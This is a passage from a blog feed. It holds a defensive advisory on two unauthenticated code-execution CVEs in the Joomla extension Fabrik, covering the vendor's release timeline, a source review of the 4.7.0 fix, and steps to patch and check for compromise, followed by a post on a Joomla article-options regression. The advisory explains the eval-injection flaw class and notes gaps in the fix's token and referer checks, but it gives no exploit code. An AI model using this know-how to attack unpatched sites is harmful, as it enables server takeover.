&lt;p&gt;This is a major security release. This release will break any userAjax you are using. Also, if you are using FullCalendar or Paypal you will need to update to the latest versions.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Read that as an attacker. The CVEs had already told you there was an unauthenticated path to code execution in Fabrik, and the revised record had already told you 4.6.8 did not close it. What this page added was two things the CVEs did not say: that the problem is a &lt;strong&gt;class&lt;/strong&gt; of eval attack vectors rather than the two specific ones with numbers attached, and that the thing being changed is &lt;strong&gt;userAjax&lt;/strong&gt;, which names the surface to go and look at.&lt;/p&gt;
&lt;p&gt;That page was public on 13 August. The release it describes did not become generally available until 16 August. For three days it described where the remaining problem was, in a product whose source is closed, to an audience that included everyone except the people who needed to fix their sites.&lt;/p&gt;
&lt;p&gt;Counting from the date on the fix itself, it is worse. The change is dated 10 August. It reached the people running the software on 16 August. That is &lt;strong&gt;six days&lt;/strong&gt; in which the work was done, the nature of it was published, and the sites carrying two flaws scored 10.0 could do nothing about it. Fabrik&apos;s own instruction throughout was to update immediately.&lt;/p&gt;
&lt;p&gt;There is a second supply problem underneath all of this. A thread running since 8 July has multiple subscribers reporting &quot;Could not open update site&quot; for Fabrik Base on every one of their sites, with valid subscriptions and correct download keys. It is still unresolved. The vendor&apos;s answer on 16 August was &quot;Workaround: download from your My download files on fabrikar.com and install. No idea what is going on on your sites.&quot; Those users have had no working updater route to any Fabrik security release for over a month.&lt;/p&gt;
&lt;h3&gt;And Three Published Pages Were Altered Afterwards&lt;/h3&gt;
&lt;p&gt;Everything Fabrik put out about 4.7.0 on 13 August has since been changed, and the three changes are the clearest evidence of what happened.&lt;/p&gt;
&lt;p&gt;The changelog history entry has been withdrawn. Fabrik listed Fabrik Base Version 4.7.0 on that page on 13 August, dated 2026-08-13, with the &quot;major hardening release against PHP eval attack vectors&quot; note attached, and our release monitoring recorded it at 13:30 UTC. It is not there today, and the newest entry is 4.6.8. The likeliest explanation for the row vanishing is mechanical rather than deliberate, because that page appears to list stable releases, so demoting 4.7.0 to Release Candidate would drop it off by itself. That makes the missing row independent confirmation of the downgrade rather than a separate act of tidying up. It also leaves the vendor&apos;s own release page telling anyone who checks that the latest Fabrik release is 4.6.8, which both CVE records cover.&lt;/p&gt;
&lt;p&gt;The maturity was changed. Fabrik 4.7.0 went from Stable to Release Candidate with no change to the build, no change to the 13 August release date, and nothing on the page recording that it moved. We read that page on 13 August, published that it said Stable, and emailed it to every account with an affected site. The same URL says something different three days later.&lt;/p&gt;
&lt;p&gt;The release notes thread was retitled, from &quot;Fabrik V4.7.0 Release Notes&quot; to &quot;Fabrik V4.7.0 Release Notes, Release Candidate is now available&quot;. That one is checkable from outside: the URL we linked on 13 August now 301s to the new one. And the 16 August post presents the release candidate as the plan all along, in a thread whose first post three days earlier had called 4.7.0 a major release with no such qualifier.&lt;/p&gt;
&lt;p&gt;None of this would matter much if there were something else to install. There is not. 4.7.0 is the only publicly downloadable release above both CVE ceilings. It is the only thing anyone can actually do about two unauthenticated code execution flaws, both scored 10.0, in an extension whose vulnerable code is on every version ever shipped. Anyone who did manage to get the package between 13 and 16 August installed it on production sites believing it was a stable release, because the alternative was staying on a version the CVE record says is exploitable without a login. The build has not changed. What changed is what the vendor is willing to call it, and the new answer arrives with an instruction to lower your site&apos;s minimum extension stability so Joomla will accept pre-release software.&lt;/p&gt;
&lt;p&gt;Our advice has not changed either, because there is nothing else to point at. Get to 4.7.0. Test it on a sandbox first, which was already the vendor&apos;s advice and carries more weight now than it did at release.&lt;/p&gt;
&lt;h2&gt;We Read the Fabrik 4.7.0 Code, and the Fix Is Real&lt;/h2&gt;
&lt;p&gt;Fabrik 4.x has never had public source. The GitHub repository stops at 3.10 from 2021, the vendor&apos;s own &quot;GitHub&quot; footer link points at a Bitbucket repository that 404s, and 4.x ships only to subscribers. So nobody outside the vendor&apos;s test group has been able to check whether any of the three security releases did what they claimed.&lt;/p&gt;
&lt;p&gt;We obtained the 4.7.0 package and read it. Its SHA-256 is &lt;code&gt;b1d79d144a23142704f6524947ffd6f8d705bf38f85cb65ba9c9b7472d8e8316&lt;/code&gt;, which matches the &lt;code&gt;sha256&lt;/code&gt; Fabrik publishes in its own Joomla update feed, so this is the release itself and not something reconstructed.&lt;/p&gt;
&lt;p&gt;After two fixes that did not hold, this one does. It addresses the class of bug rather than the instance.&lt;/p&gt;
&lt;h3&gt;What actually changed&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;eval()&lt;/code&gt; now appears in &lt;strong&gt;two files out of 869&lt;/strong&gt;, and everything routes through one helper, &lt;code&gt;Fabrik\Helpers\Php::Eval()&lt;/code&gt;, reached from 61 places.&lt;/p&gt;
&lt;p&gt;The old design took the site builder&apos;s PHP expression, substituted the visitor&apos;s submitted data into it as text, then evaluated the result. That is what turned data into code, and it is why an anonymous request could run PHP on the server.&lt;/p&gt;
&lt;p&gt;4.7.0 inverts it. The helper compiles the site builder&apos;s code once into a cached class, then &lt;strong&gt;passes the visitor&apos;s data in as bound PHP variables&lt;/strong&gt; instead of splicing it into the source. Data that is never concatenated into code cannot become code, whatever it contains. All 61 call sites use that route.&lt;/p&gt;
&lt;p&gt;Where placeholders do still expand into code, the substituted value is written out with &lt;code&gt;var_export()&lt;/code&gt;, so a submitted value arrives as a quoted PHP literal rather than as syntax.&lt;/p&gt;
&lt;p&gt;They also caught the trap that a naive version of that fix leaves behind. If the site builder&apos;s own expression already has the placeholder inside a quoted string, wrapping it in fresh quotes either produces broken code or escapes for the wrong quote character. The new code runs &lt;strong&gt;PHP&apos;s own tokenizer&lt;/strong&gt; over the expression to establish the quote context at that exact byte offset, then escapes for the quotes that are already there. A comment in the file records that an earlier attempt missed precisely this case.&lt;/p&gt;
&lt;p&gt;The most telling line is the vendor&apos;s own note on why the earlier fixes failed:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;textual splicing of request/row data into eval&apos;d code is unsafe, htmlspecialchars alone does not stop it&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;That is the 4.6.7 and 4.6.8 story in a sentence. Escaping for HTML does nothing to a payload that never needed a quote character in the first place.&lt;/p&gt;
&lt;p&gt;The list filter path, the second CVE, is closed the same way, and its guard is switched on by exactly the condition that decides whether the evaluation happens at all. That pairing is the detail these fixes usually get wrong.&lt;/p&gt;
&lt;h3&gt;What we did not find&lt;/h3&gt;
&lt;p&gt;No remaining route from an unauthenticated request to code execution. No &lt;code&gt;system&lt;/code&gt;, &lt;code&gt;exec&lt;/code&gt;, &lt;code&gt;create_function&lt;/code&gt; or &lt;code&gt;unserialize&lt;/code&gt; reached by request data anywhere in the package. The one place that could build a &lt;code&gt;require_once&lt;/code&gt; out of a string is fed by an administrator-only setting, filtered to alphanumerics and confined to a fixed directory.&lt;/p&gt;
&lt;h3&gt;Three things weaker than the release notes suggest&lt;/h3&gt;
&lt;p&gt;The release notes say every AJAX call must now carry a session token and a proper Content-Type. There is a real gate, and it runs as the first statement of every front-end controller entry point, which is the right place for it. Three details matter:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The token is enforced only on requests that are &lt;strong&gt;not GET&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;The Content-Type check applies only to POST.&lt;/li&gt;
&lt;li&gt;The Referer check is skipped entirely when the browser sends no Referer header.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So an anonymous GET still reaches the calc endpoint. That is no longer a way in, because what it used to lead to is closed, but the token is not the barrier the release notes imply and it should not be the thing you rely on.&lt;/p&gt;
&lt;h3&gt;The caveat on all of this&lt;/h3&gt;
&lt;p&gt;This is a source review, not a live exploitation test. We read the code and traced every path from request input to every remaining evaluation. We did not stand up a site and fire the old payloads at it. A negative result from reading is weaker than a negative result from trying. What we can say is that the mechanism behind both CVEs has been removed rather than patched around, and that a future call site cannot reintroduce it by forgetting to escape, because escaping is no longer how it works.&lt;/p&gt;
&lt;h2&gt;How Serious Is This Really?&lt;/h2&gt;
&lt;p&gt;The Joomla CNA scored it &lt;strong&gt;10.0 Critical&lt;/strong&gt; on CVSS 4.0, the maximum. The vector says the attack comes over the network, needs no privileges, needs no user interaction, and produces high confidentiality, integrity and availability impact both on the vulnerable component and on the wider system. That is the score to work from.&lt;/p&gt;
&lt;p&gt;The nuance is about reach rather than severity. Reaching the flaw needs the site to publish a Fabrik form or list that an anonymous visitor can load, and that form needs a calc element with the AJAX option enabled. A Fabrik install used only behind a login, or one with no calc elements, is a smaller target than the score alone implies.&lt;/p&gt;
&lt;p&gt;That nuance is close to useless as an operational filter, for two reasons. Public forms are the ordinary use of Fabrik, not an edge case, and a site builder who wanted a login-only tool would usually reach for something simpler. And there is no practical way to audit &quot;does any published form on this site contain an AJAX-enabled calc element&quot; across more than a handful of sites without opening every form on every site by hand. Treat every install below 4.7.0 as affected, because you cannot cheaply prove otherwise, and because the list filter flaw is reached through a different surface again.&lt;/p&gt;
&lt;p&gt;The second flaw removes even that much comfort. List filters are the controls that narrow a Fabrik list, so CVE-2026-67282 does not depend on calc elements or on the AJAX option at all. A site with no calc element anywhere, which was the smaller target under the first flaw, is squarely in scope for the second.&lt;/p&gt;
&lt;p&gt;Nobody had reported exploitation in the wild when this post was last updated on 16 August 2026, and neither CVE has a CISA Known Exploited Vulnerabilities entry. Neither of those is reassuring on its own. An unauthenticated flaw that ends in code execution is the profile that attracts mass scanning quickly, and Joomla extension flaws of exactly this class have gone from disclosure to automated exploitation inside a week several times this year.&lt;/p&gt;
&lt;h2&gt;How to Fix Your Joomla Sites Running Fabrik&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Find every site running Fabrik and check the version.&lt;/strong&gt; Anything below 4.7.0 is affected, including the sites you updated to 4.6.7 or 4.6.8 last week. The component shows as &lt;code&gt;com_fabrik&lt;/code&gt; in Joomla&apos;s extension manager.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Confirm the Fabrik subscription is current.&lt;/strong&gt; Both update routes, Joomla&apos;s updater and direct download, check it. This is worth doing first, because discovering a lapsed subscription halfway through an update run across several sites wastes an afternoon.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Test 4.7.0 on a sandbox before you touch anything live.&lt;/strong&gt; Fabrik states that 4.7.0 breaks any userAjax calls you use, and that FullCalendar and Paypal need updating to current versions alongside it. Find out which of your applications depend on those on a copy, not on the site your client is looking at.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Install Fabrik 4.7.0 by hand.&lt;/strong&gt; Joomla&apos;s updater will not show it at default settings, and on any Joomla below 5.4 it will not show it at all. Download the package from My Download Files on fabrikar.com with a current subscription, then install it through Extensions, Install on each site and check the version you actually ended up on afterwards. If 4.7.0 is not there or the download is greyed out, that is the restricted access other subscribers have been reporting since 13 August rather than a problem with your account, and the forum announcement thread is where the vendor has been posting about it.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Deal with the sites that cannot take it.&lt;/strong&gt; See the next section. Joomla 3 sites now have a manual patch for the calc element flaw. Unpublishing public Fabrik forms and lists reduces exposure while you decide, though it is a stopgap rather than a fix.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Check exposed sites for compromise.&lt;/strong&gt; Updating stops the next attempt and tells you nothing about whether one already succeeded. An unauthenticated flaw leaves no failed logins and no audit trail. Look for administrator accounts you did not create, recently modified or unfamiliar PHP files, and scheduled tasks nobody added. Our post on &lt;a href=&quot;https://mysites.guru/blog/find-rogue-admin-accounts-joomla/&quot;&gt;finding rogue admin accounts across every Joomla site&lt;/a&gt; covers the account side, and &lt;a href=&quot;https://mysites.guru/blog/reinfected-check-every-crontab-not-just-yours/&quot;&gt;reinfection through crontabs&lt;/a&gt; covers a persistence route people routinely miss.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Not Every Joomla Site Can Install the Fabrik Fix&lt;/h2&gt;
&lt;p&gt;This is the part that turns a straightforward update into a project. Fabrik&apos;s installation notes say 4.7.0 installs on &lt;strong&gt;Joomla 4.2 and above, and Joomla 5.1 and above&lt;/strong&gt;, the same window as 4.6.7 and 4.6.8 before it. The forum announcement adds that &lt;strong&gt;Fabrik 4 will not install on Joomla 6&lt;/strong&gt;. So the fixed releases have a compatibility window of Joomla 4.2 to Joomla 5.x, and sites at either end of that window are stuck.&lt;/p&gt;
&lt;p&gt;Below the window sit the Joomla 3 sites. They run the Fabrik 3.x line, whose last release was &lt;strong&gt;3.10 in August 2021&lt;/strong&gt;. The calc element&apos;s AJAX evaluation path is present in that code, the &lt;code&gt;joomla3&lt;/code&gt; branch of the public repository has had no commits since 2016, and there is no patched version for those sites to move to. Fabrik has now confirmed there never will be, and explained why:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Because F4 and F5 are complete rewrites of F3, none of this work will be backported to the F3 codebase. Please also note that we do not own the F3 source repository and have no way to commit to it or publish new F3 releases, it was abandoned by its original developers many years ago.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Above the window sit the Joomla 6 sites, which the vendor&apos;s own announcement rules out in one line.&lt;/p&gt;
&lt;p&gt;Across the Joomla sites we manage, this splits the affected population roughly two to one against being able to fix it by updating:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Joomla version&lt;/th&gt;
&lt;th&gt;Share of the affected Fabrik sites we see&lt;/th&gt;
&lt;th&gt;Can install 4.7.0?&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Joomla 2.5&lt;/td&gt;
&lt;td&gt;1%&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Joomla 3&lt;/td&gt;
&lt;td&gt;61%&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Joomla 4&lt;/td&gt;
&lt;td&gt;6%&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Joomla 5&lt;/td&gt;
&lt;td&gt;31%&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Joomla 6&lt;/td&gt;
&lt;td&gt;1%&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Of the sites still short of 4.7.0, &lt;strong&gt;roughly two thirds are on a Joomla version the fix does not support&lt;/strong&gt;. The single most common configuration we see is Fabrik 3.10 on Joomla 3.10, which is a site running the newest version each project ever shipped for that generation, and exposed anyway.&lt;/p&gt;
&lt;h3&gt;Fabrik 3 Now Has a Manual Patch&lt;/h3&gt;
&lt;p&gt;This changed on 11 August 2026, and it is the one piece of good news in the sequence. After a subscriber asked on the forum for something their Joomla 3 clients could use while migrations were in progress, a Fabrik administrator published a &lt;strong&gt;manual source patch for the Fabrik 3 code&lt;/strong&gt;, covering the calc element flaw. It is a single line in &lt;code&gt;plugin/fabrik_element/calc/calc.php&lt;/code&gt;, adding two arguments to the existing &lt;code&gt;parseMessageForPlaceHolder&lt;/code&gt; call so that the placeholder replacement runs in its escaped mode.&lt;/p&gt;
&lt;p&gt;Read the &lt;a href=&quot;https://fabrikar.com/forums/index.php?threads/f3-users-security-update.55752/&quot;&gt;forum thread&lt;/a&gt; before you touch a file, and note the correction in the reply: the method name in the original post has a typo, and the working line uses &lt;code&gt;parseMessageForPlaceHolder&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Three caveats, all of them the vendor&apos;s own:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It is offered &lt;strong&gt;as-is, with no warranty&lt;/strong&gt;. Nobody is supporting this on your site.&lt;/li&gt;
&lt;li&gt;It covers the &lt;strong&gt;calc element flaw only&lt;/strong&gt;. Fabrik states that the second attack vector, the list filter one patched in 4.6.8, &lt;strong&gt;does not affect Fabrik 3&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Fabrik still &lt;strong&gt;strongly urges migration to Fabrik 4&lt;/strong&gt;, and a hand-edited file is not a maintained release.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Take it as a stopgap that buys you time on the largest group of affected sites, which is roughly three in five of everything we can see. It is not a reason to stop planning the migration.&lt;/p&gt;
&lt;h3&gt;The Sites With No Path At All&lt;/h3&gt;
&lt;p&gt;If you have Joomla 6 sites running Fabrik, or Joomla 3 sites where hand-editing a plugin file is not something you are willing to carry, there are three honest options and no comfortable ones. Remove Fabrik, if the application it powers can be retired or rebuilt. Move the site onto Joomla 4.2 to 5.x, which is the work you were putting off anyway and now has a deadline attached. Or accept the risk knowingly, with public Fabrik forms and lists unpublished, which is a holding position rather than a solution. Joomla 3 has been end of life since August 2023, and this is the ordinary way that debt gets called in, through a third-party extension whose vendor has moved on to the next Joomla generation. We have written before about &lt;a href=&quot;https://mysites.guru/blog/the-joomla-3-10-999-project/&quot;&gt;what is realistically available to sites still on Joomla 3&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Finding Every Fabrik Install Across Your Joomla Sites&lt;/h2&gt;
&lt;p&gt;Doing this by hand means logging in to each Joomla site, opening the extension manager, searching for Fabrik and writing the version down. For one site that is two minutes. For fifty it is an afternoon you will not get back, and you will still not be certain you checked them all.&lt;/p&gt;
&lt;p&gt;mySites.guru keeps a live inventory of every extension, template and framework on every connected Joomla and WordPress site. Search the &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;extension inventory&lt;/a&gt; for Fabrik once and you get back every site running it, the version each one is on, and whether an update is available, on one screen. Sites running a version flagged on our &lt;a href=&quot;https://mysites.guru/blog/vulnerable-extension-list-joomla-wordpress/&quot;&gt;vulnerable extension list&lt;/a&gt; are marked automatically, so a site that drifts onto an affected version later gets flagged without anyone remembering to look.&lt;/p&gt;
&lt;p&gt;For this particular flaw the inventory answers the second question too. Because it records the Joomla version alongside the extension version, you can separate the sites that just need an update from the sites that need a migration decision, which is the split that actually determines how much work you are looking at.&lt;/p&gt;
&lt;p&gt;If a site turns out to have been compromised, &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;fix.mysites.guru&lt;/a&gt; is a fixed fee of £120 per incident, usually same day. Sites are screened before we commit, so you are not charged if it cannot be fixed, and non-subscribers get a free month. There is more on recovery in our &lt;a href=&quot;https://mysites.guru/joomla-hacked/&quot;&gt;Joomla hacked&lt;/a&gt; guide.&lt;/p&gt;
&lt;h2&gt;Fabrik Has Been a Target Before&lt;/h2&gt;
&lt;p&gt;Fabrik has carried three earlier CVEs before this month&apos;s pair, and the pattern is worth knowing if you have run it for a long time:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;CVE-2010-1981&lt;/strong&gt;, a directory traversal in com_fabrik 2.0 allowing arbitrary file reads&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CVE-2011-5004&lt;/strong&gt;, an unrestricted file upload in the CSV import model, fixed before 2.1.1&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CVE-2018-10727&lt;/strong&gt;, a reflected cross-site scripting flaw through a hidden referrer field, affecting versions through 3.8.1&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The Joomla Vulnerable Extensions List also carries a resolved entry for &quot;fabrik 3.9, Various Issues&quot;, published in May 2020 and fixed in 3.9.1. Neither of this month&apos;s CVEs was on the VEL when we last checked it, on 13 August 2026.&lt;/p&gt;
&lt;p&gt;There is also one recent release that never got a CVE at all. Fabrik 4.6.3, released on 25 February 2026, carries a changelog line reading simply &quot;Security fix&quot; with no further detail, under the same &quot;This is a security release, please update immediately&quot; note that 4.6.7 uses. Nothing has been published about what it closed. That is worth knowing if you are the sort of person who skips point releases on an extension that seems to be ticking over quietly, because four times this year a Fabrik release has been the security update, and the CVE numbers arrived days later or not at all.&lt;/p&gt;
&lt;p&gt;The 2011 upload flaw is the one that left a mark. Several public auto-exploiter tools targeting &lt;code&gt;com_fabrik&lt;/code&gt; are still sitting on GitHub, written years ago against that bug. They are irrelevant to this CVE, but they are a reminder that a Joomla extension with a long history and a shell-upload flaw in its past stays on scanners&apos; lists long after the flaw is fixed.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-66915&quot;&gt;CVE-2026-66915 record&lt;/a&gt; - the calc element flaw, revised on 12 August 2026 to cover 1.0.0 through 4.6.8&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67282&quot;&gt;CVE-2026-67282 record&lt;/a&gt; - the front end list filter flaw, published 12 August 2026, also CVSS 4.0 10.0 Critical&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://fabrikar.com/fabrik-base-infos/file/fabrik-base-v4-7-0&quot;&gt;Fabrik 4.7.0 release information&lt;/a&gt; - the release page, with the eval hardening note and the userAjax, FullCalendar and Paypal warnings&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://fabrikar.com/forums/index.php?threads/fabrik-v4-7-0-release-notes-release-candidate-is-now-available.55754/&quot;&gt;Fabrik 4.7.0 release notes&lt;/a&gt; - the vendor&apos;s own announcement, the breaking changes, the new session token requirement for AJAX calls, and the 16 August post announcing the release candidate. The thread has been retitled since 13 August, so the URL we published then now redirects here&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.fabrikar.com/changelogs/changelog-history&quot;&gt;Fabrik changelog history&lt;/a&gt; - the vendor&apos;s own release notes, and the place to confirm that no 4.6.9 exists&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://fabrikar.com/forums/index.php?threads/f3-users-security-update.55752/&quot;&gt;Fabrik 3 manual security patch&lt;/a&gt; - the one-line source patch for the Fabrik 3 calc element, plus the corrected method name in the reply&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://fabrikar.com/forums/index.php?threads/fabrik-4-6-7-security-release-for-j-4-and-j-5-is-available.55749/&quot;&gt;Fabrik 4.6.7 release announcement&lt;/a&gt; - the forum post with the compatibility and subscription requirements&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://extensions.joomla.org/vulnerable-extensions/&quot;&gt;Joomla Vulnerable Extensions List&lt;/a&gt; - the official list of known-vulnerable Joomla extensions&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/94.html&quot;&gt;CWE-94: Improper Control of Generation of Code&lt;/a&gt; - the weakness class this flaw belongs to&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>vulnerability</category><category>fabrik</category><category>rce</category><enclosure url="https://mysites.guru/_astro/fabrik-unauthenticated-rce-calc-element.1vkI2Lko.png" length="0" type="image/png"/></item><item><title>Joomla 6.1.2 and 5.4.7 Silently Ignore Every Article Option</title><link>https://mysites.guru/blog/joomla-6-1-2-5-4-7-article-options-ignored/</link><guid isPermaLink="true">https://mysites.guru/blog/joomla-6-1-2-5-4-7-article-options-ignored/</guid><description>Joomla 6.1.2 and 5.4.7 silently ignore every per-article Option on the front end. The root cause, how to find affected articles, and the official hotfix.</description><pubDate>Mon, 10 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;You set an Alternative Layout on a Joomla article. The front end ignores it and renders the default. The custom fields that layout was supposed to show have apparently vanished. So you clear the Joomla cache, purge Cloudflare, rebuild the menus, reinstall the template, and check the article again. Nothing has changed.&lt;/p&gt;
&lt;p&gt;The article is fine. Your template is fine. Joomla 5.4.7 and 6.1.2 both carry a core regression that throws away every Option you set on an individual article and renders the menu item or global value instead.&lt;/p&gt;
&lt;p&gt;Both versions shipped on 7 July 2026, and both are still the newest stable release on their branch. The people who updated promptly are exactly the ones who got hit, and as of 10 August 2026 there is no released Joomla version you can update to that fixes it.&lt;/p&gt;
&lt;h2&gt;What Actually Breaks in Joomla 6.1.2 and 5.4.7&lt;/h2&gt;
&lt;p&gt;Every per-article Option is ignored on the front end. Not one feature, all of them. The Options tab on an article stops influencing the page entirely, and Joomla falls back to whatever the menu item or the com_content global configuration says.&lt;/p&gt;
&lt;p&gt;That includes the Alternative Layout, author display, the info block, publish dates, hit counts, tags, and article navigation. Anything you can set per article and expect to win.&lt;/p&gt;
&lt;p&gt;This is why the symptom looks different on every site. On one it is a missing byline. On another it is a page rendering with the wrong layout, which makes the custom fields assigned to that layout look like they have been deleted. The underlying fault is identical in both cases.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Note&lt;/p&gt;
  &lt;p&gt;This is a functional bug, not a security issue. It does not expose data or allow unauthorised access. It is tagged as a bug on the Joomla issue tracker, and it never went through Joomla&apos;s security channel.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Why Write About This When the Fix Already Exists?&lt;/h2&gt;
&lt;p&gt;Several people have asked exactly that in the comments, so to answer it directly: yes, we know. We have been tracking this since the day it was reported in July, which is why the check described further down reads the file on disk instead of trusting the version number, and why applying the official hotfix from mySites.guru is one click. None of that was built this weekend.&lt;/p&gt;
&lt;p&gt;What changed this weekend was demand. Site owners fall into two groups: the ones who update the week a release ships, and the ones who update someday. Someday turned out to be 8 and 9 August, a month after 5.4.7 and 6.1.2 came out, and our mailbox filled up with the same question from people who had just updated and watched their article layouts stop working. A fix existing and a fix being applied are different things, and the gap between them is exactly where the support tickets are.&lt;/p&gt;
&lt;p&gt;The second reason is that the Joomla project communicates post-release problems poorly. The full write-up lives on a &lt;a href=&quot;https://manual.joomla.org/updates/60-61/known-issues/6.1.2/&quot;&gt;known-issues page in the manual&lt;/a&gt;, several levels deep on a site most administrators never visit. Credit where it is due, the &lt;a href=&quot;https://www.joomla.org/announcements/release-news/joomla-6-1-2-5-4-7-security-bugfix-release.html&quot;&gt;release announcement&lt;/a&gt; now opens with a yellow warning card headed &quot;Known issue with 5.4.7 and 6.1.2&quot;, carrying both the hotfix link and the manual link. Previous releases gave known issues a plain sentence link partway down the page, so the card is an improvement.&lt;/p&gt;
&lt;p&gt;Almost nobody updates Joomla by reading joomla.org, though. They click Update in their own administrator. On that screen the entire pointer to the announcement is one link labelled &quot;Additional Information&quot;, rendered from the &lt;code&gt;infourl&lt;/code&gt; field in Joomla&apos;s update XML, sitting beside the button everyone came to press. Once the update finishes, the completion screen tells you &quot;Your site has been updated. Your Joomla version is now 5.4.7.&quot; and stops there. No post-installation message ever mentions the known issue.&lt;/p&gt;
&lt;p&gt;The timing makes it worse. The regression was reported on 8 July, one day after both versions shipped, so anyone who updated in that first day read an announcement page that did not yet carry the warning. Joomla has no mechanism to reach a site once it has already updated, and the known-issues page just sits there waiting to be found. The people most exposed are the ones who updated fastest and then had no reason to look again.&lt;/p&gt;
&lt;p&gt;If you patched in July, this post is not aimed at you. Send it to whoever updated last weekend.&lt;/p&gt;
&lt;h2&gt;How Do I Find Every Affected Joomla Site?&lt;/h2&gt;
&lt;p&gt;You need a patch-level version list, and that is harder than it sounds. Joomla&apos;s own public statistics only report the minor branch, so they will tell you what share of sites run 5.4 or 6.1 but not how many are on the specific releases that carry the bug.&lt;/p&gt;
&lt;p&gt;If your sites are connected to mySites.guru, the Sites list already holds the exact version of every install. Type the version straight into the filter box at the top of the list, which reads &quot;Filter sites by name, url, tag or version number - exact match search&quot;, and the list narrows to the matching sites. Do it once for &lt;code&gt;5.4.7&lt;/code&gt; and once for &lt;code&gt;6.1.2&lt;/code&gt;, and export each list if you want it as a CSV to work through.&lt;/p&gt;
&lt;p&gt;That turns an afternoon of logging into every site into about thirty seconds. It is the same job &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;managing multiple Joomla sites&lt;/a&gt; exists to make boring.&lt;/p&gt;
&lt;p&gt;Here is what that query returns across the Joomla sites connected to mySites.guru today:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Joomla version&lt;/th&gt;
&lt;th&gt;Share of connected Joomla sites&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;5.4.7&lt;/td&gt;
&lt;td&gt;~18%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6.1.2&lt;/td&gt;
&lt;td&gt;~13%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5.4.8 or 6.1.3&lt;/td&gt;
&lt;td&gt;none, no such release exists&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;So about 31% of every connected Joomla install is on a version that carries this bug. Narrow it to sites already on a current branch, meaning 5.4.x or 6.1.x, and the affected share is nearly 88%. Keeping Joomla current is still the right call, and it is what put almost nine in ten of those sites on a broken release.&lt;/p&gt;
&lt;p&gt;Filtering on the version number has one limitation. Applying the hotfix does not change the version a site reports, so a patched 5.4.7 site still shows as 5.4.7 and keeps appearing in that filter. Separating the patched from the broken means looking at the file itself, which is what the &lt;a href=&quot;#apply-the-hotfix-from-mysitesguru-instead&quot;&gt;dedicated check described below&lt;/a&gt; does.&lt;/p&gt;
&lt;h2&gt;Why Won&apos;t Clearing Your Joomla Cache Fix It?&lt;/h2&gt;
